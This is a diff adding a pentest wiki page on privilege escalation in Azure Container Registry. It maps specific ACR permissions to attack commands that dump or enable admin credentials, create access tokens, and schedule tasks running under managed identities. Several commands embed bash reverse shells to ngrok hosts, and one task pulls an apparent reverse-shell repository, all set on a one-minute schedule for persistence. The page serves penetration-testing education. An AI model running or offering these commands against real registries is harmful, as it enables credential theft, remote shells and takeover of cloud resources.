|
| 1 | +# Az - Azure Container Registry Privesc |
| 2 | + |
| 3 | +{{#include ../../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +## Azure Container Registry |
| 6 | + |
| 7 | +Fore more information check: |
| 8 | + |
| 9 | +{{#ref}} |
| 10 | +../az-services/az-container-registry.md |
| 11 | +{{#endref}} |
| 12 | + |
| 13 | +### `Microsoft.ContainerRegistry/registries/listCredentials/action` |
| 14 | + |
| 15 | +This permission allows the user to list the admin credentials of the ACR. This is useful to **get full access** over the registry |
| 16 | + |
| 17 | +```bash |
| 18 | +az rest --method POST \ |
| 19 | +--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview" |
| 20 | +``` |
| 21 | + |
| 22 | +In case the admin credentials aren't enabled, you will also need the permission `Microsoft.ContainerRegistry/registries/write` to enable them with: |
| 23 | + |
| 24 | +```bash |
| 25 | +az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}' |
| 26 | +``` |
| 27 | + |
| 28 | + |
| 29 | +### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action` |
| 30 | + |
| 31 | +These permissions allow the user to **create a new token** with passwords to access the registry. |
| 32 | + |
| 33 | +To use the `az cli`to generate it as in the following example you will also need the permissions `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` |
| 34 | + |
| 35 | +```bash |
| 36 | +az acr token create \ |
| 37 | + --registry <registry-name> \ |
| 38 | + --name <token-name> \ |
| 39 | + --scope-map _repositories_admin |
| 40 | +``` |
| 41 | + |
| 42 | + |
| 43 | +### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` |
| 44 | + |
| 45 | +These permissions allow the user to **build and run an image** in the registry. This can be used to **execute code** in the container. |
| 46 | + |
| 47 | +>[!WARNING] |
| 48 | +> However, the image will be executed in a **sandboxed environment** and **without access to the metadata service**. This means that the container will not have access to the **instance metadata** so this isn't really useful to escalate privileges |
| 49 | +
|
| 50 | +```bash |
| 51 | +# Build |
| 52 | +echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile |
| 53 | +az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null |
| 54 | +``` |
| 55 | + |
| 56 | + |
| 57 | +### `Microsoft.ContainerRegistry/registries/tasks/write` |
| 58 | + |
| 59 | +This is the main permission that allows to create and update a task in the registry. This can be used to **execute a code inside a container with a managed identity attached to it** in the container. |
| 60 | + |
| 61 | +This is the example on how to execute a reverseh shell in a container with the **system managed** identity attached to it: |
| 62 | + |
| 63 | +```bash |
| 64 | +az acr task create \ |
| 65 | + --registry <registry-name> \ |
| 66 | + --name reverse-shell-task \ |
| 67 | + --image rev/shell:v1 \ |
| 68 | + --file ./Dockerfile \ |
| 69 | + --context https://github.com/carlospolop/Docker-rev.git \ |
| 70 | + --assign-identity \ |
| 71 | + --commit-trigger-enabled false \ |
| 72 | + --schedule "*/1 * * * *" |
| 73 | +``` |
| 74 | + |
| 75 | +Another way to get a RCE from a task without using an external repository is to use the `az acr task create` command with the `--cmd` flag. This will allow you to run a command in the container. For example, you can run a reverse shell with the following command: |
| 76 | + |
| 77 | +```bash |
| 78 | +az acr task create \ |
| 79 | + --registry <registry-name> \ |
| 80 | + --name reverse-shell-task-cmd \ |
| 81 | + --image rev/shell2:v1 \ |
| 82 | + --cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \ |
| 83 | + --schedule "*/1 * * * *" \ |
| 84 | + --context /dev/null \ |
| 85 | + --commit-trigger-enabled false \ |
| 86 | + --assign-identity |
| 87 | +``` |
| 88 | + |
| 89 | +> [!TIP] |
| 90 | +> Note that to assign the system managed identity you don't need any special permission, although it must have been enabled before in the registry and assigned some permissions for it to be useful. |
| 91 | +
|
| 92 | +To assign a **user managed identity also** you would need the permission `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` to do: |
| 93 | + |
| 94 | +```bash |
| 95 | +az acr task create \ |
| 96 | + --registry <registry-name> \ |
| 97 | + --name reverse-shell-task \ |
| 98 | + --image rev/shell:v1 \ |
| 99 | + --file ./Dockerfile \ |
| 100 | + --context https://github.com/carlospolop/Docker-rev.git \ |
| 101 | + --assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \ |
| 102 | + --commit-trigger-enabled false \ |
| 103 | + --schedule "*/1 * * * *" |
| 104 | +``` |
| 105 | + |
| 106 | +To **update** the repo of an existent task you can do: |
| 107 | + |
| 108 | +```bash |
| 109 | +az acr task update \ |
| 110 | + --registry <registry-name> \ |
| 111 | + --name reverse-shell-task \ |
| 112 | + --context https://github.com/your-user/your-repo.git |
| 113 | +``` |
| 114 | + |
| 115 | + |
| 116 | +### `Microsoft.ContainerRegistry/registries/importImage/action` |
| 117 | + |
| 118 | +With this permission it's possible to **import an image to the azure registry**, even without having the image locally. However, note that you **cannot import an image with a tag** that already exists in the registry. |
| 119 | + |
| 120 | +```bash |
| 121 | +# Push with az cli |
| 122 | +az acr import \ |
| 123 | + --name <registry-name> \ |
| 124 | + --source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import |
| 125 | +``` |
| 126 | + |
| 127 | +In order to **untag or delete a specific image tag** from the registry you can use the following command. However, note that you will need a user or token with **enough permissions** to do it: |
| 128 | + |
| 129 | +```bash |
| 130 | +az acr repository untag \ |
| 131 | + --name <registry-name> \ |
| 132 | + --image <image-name>:<tag> |
| 133 | + |
| 134 | +az acr repository delete \ |
| 135 | + --name <registry-name> \ |
| 136 | + --image <image-name>:<tag> |
| 137 | +``` |
| 138 | + |
| 139 | + |
| 140 | + |
| 141 | +{{#include ../../../banners/hacktricks-training.md}} |
| 142 | + |
| 143 | + |
0 commit comments